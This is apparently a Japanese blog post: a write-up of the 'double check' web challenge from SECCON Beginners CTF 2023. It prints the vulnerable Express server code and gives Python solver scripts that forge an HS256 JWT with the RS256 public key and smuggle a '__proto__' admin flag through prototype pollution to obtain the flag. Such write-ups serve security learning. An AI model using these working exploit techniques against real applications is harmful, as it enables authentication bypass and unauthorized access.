0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

claustra01's Daily CTFAdvent Calendar 2024

Day 11

[web] double check (SECCON Beginners CTF 2023) writeup

Last updated at Posted at 2024-12-11

Source: SECCON Beginners CTF 2023
Author: yuasa


/register/flagのみが存在するアプリ。sessionとjwtの両方で認証を実装している。

index.js
const express = require("express");
const session = require("express-session");
const jwt = require("jsonwebtoken");
const _ = require("lodash");

const { readKeyFromFile, generateRandomString, getAdminPassword } = require("./utils");

const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;

const app = express();
app.use(express.json());

app.use(session({
  secret: generateRandomString(),
  resave: false,
  saveUninitialized: true,
  cookie: { secure: false }
}));

app.post("/register", (req, res) => {
  const { username, password } = req.body;
  if(!username || !password) {
    res.status(400).json({ error: "Please send username and password" });
    return;
  }

  const user = {
    username: username,
    password: password
  };
  if (username === "admin" && password === getAdminPassword()) {
    user.admin = true;
  }
  req.session.user = user;

  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});

app.post("/flag", (req, res) => {
  if (!req.header("Authorization")) {
    res.status(400).json({ error: "No JWT Token" });
    return;
  }

  if (!req.session.user) {
    res.status(401).json({ error: "No User Found" });
    return;
  }

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

  res.send("No flag for you");
});

app.listen(PORT, HOST, () => {
  console.log(`Server is running on port ${PORT}`);
});

/registerではRS256でjwtを生成しているが、/flagではRS256の他にHS256での検証も許容している。public.keyを用いて検証しているため、public.keyが分かれば任意のpayloadを持つHS256の署名を生成して通すことが可能。

app.post("/register", (req, res) => {

  // 略

  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});
app.post("/flag", (req, res) => {

  // 略

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  // 略
});

public.keyが配布されていたのでHS256のjwtを生成して投げてみると、No flag for youと表示され、jwtの検証はパスすることができた。ちなみに、新しいバージョンのpyjwtでは公開鍵っぽい値でHS256署名をしようとすると怒られてしまうため、ここではバージョン0.2.0を使用している。

import jwt
import requests

base_url = "http://localhost"
public_key = ()


def generate_jwt():
  payload = {
      "username": "hoge",
      "password": "fuga",
  }
  token = jwt.encode(payload, public_key, algorithm="HS256")
  print(f"jwt: {token}")
  return token


def solve():
  s = requests.Session()

  data = {
    "username": "hoge",
    "password": "fuga"
  }
  response = s.post(base_url+"/register", json=data)
  if response.status_code != 200:
    print(response.text)
    return

  token = generate_jwt()
  headers = {
      "Authorization": token
  }
  response = s.post(base_url+"/flag", headers=headers)
  print(response.text)


if __name__ == "__main__":
  solve()

続いて、req.user.session.adminverified.adminをいずれもtrueにするにはどうすれば良いかを考える。jwtのpayloadにadminを仕込んでもomitされてしまうが、わざわざその後Object.assignしているのが気になる。

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

Object.assignではプロパティをコピーしているため、"__proto__": { "admin": true }などをpayloadに仕込むことでprototype pollutionによってコピー先のadminの値を操作できる。

最終的なpayloadはこうなる。

import jwt
import requests

base_url = "http://localhost"

public_key = """-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3NcjHBbKAAhJd6P+TviV
h/WRXtxtKBJLPQYIlmZ/I35WlQLpNXR9Q0YiQLMNW0E3MTHISQlQE5hBF8S2Z2tC
0SmiAMr3QQjaIA3vmefA/CXSp4YjIbKz75Nwzczk7spYiVwEbYoLOpovnl+KB6Tj
XJWCFXvgpL6xYu9Se8msgqVIl+cWANlmPdBuDRvF/7KUboHsdZsn1mL88JoTnk9u
sVp9PP+bpbcFEzwzfS+YkjwUhXFHHNPqsu9eKZZlpkRbl3lZzzxgX4G/bh3BkaCO
wp4Pv1ptk8NJH8N96USDw3Lpgc6wGReoyCBY7Dtg1a3IHNjQQwQg+rd+1yUUfPAe
qa9MbLWr3hYQn+9G4SxTwmWptGJLLjZMzfELtGxiZTHlnifP4nHSNJ8WdGJ63YU9
7LiwkWsE8BVIPi+f/oNIbhhgJzGSD57mkdN0wNloN0I+83/0g2TnVSvkSM5ow/E9
h2w/qaT9LfjtYiZbFFc95lwcaR1nUO/hmZ2okTt7Nh5tlefbvHNSyHMFuvTiEanI
xO2kJIXugy9h9pNAX8jlNHNQWT1WM5HI3t8aMcsucjOT9wTWh7Hl0qxrO4f7f2kP
HODGSRQ/uR9czPYtXP4HPAPUToZ9Xzc5Voj3Q/bzRcAnkKH6fmUOtLPd2XhTDTFl
A5kHBxj92CnlYq6/bQdXDy0CAwEAAQ==
-----END PUBLIC KEY-----
"""


def generate_jwt():
  payload = {
      "__proto__": {
        "admin": True
      }
  }
  token = jwt.encode(payload, public_key, algorithm="HS256")
  print(f"jwt: {token}")
  return token


def solve():
  s = requests.Session()

  data = {
    "username": "hoge",
    "password": "fuga"
  }
  response = s.post(base_url+"/register", json=data)
  if response.status_code != 200:
    print(response.text)
    return

  token = generate_jwt()
  headers = {
      "Authorization": token
  }
  response = s.post(base_url+"/flag", headers=headers)
  print(response.text)


if __name__ == "__main__":
  solve()

flagが得られた。
ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?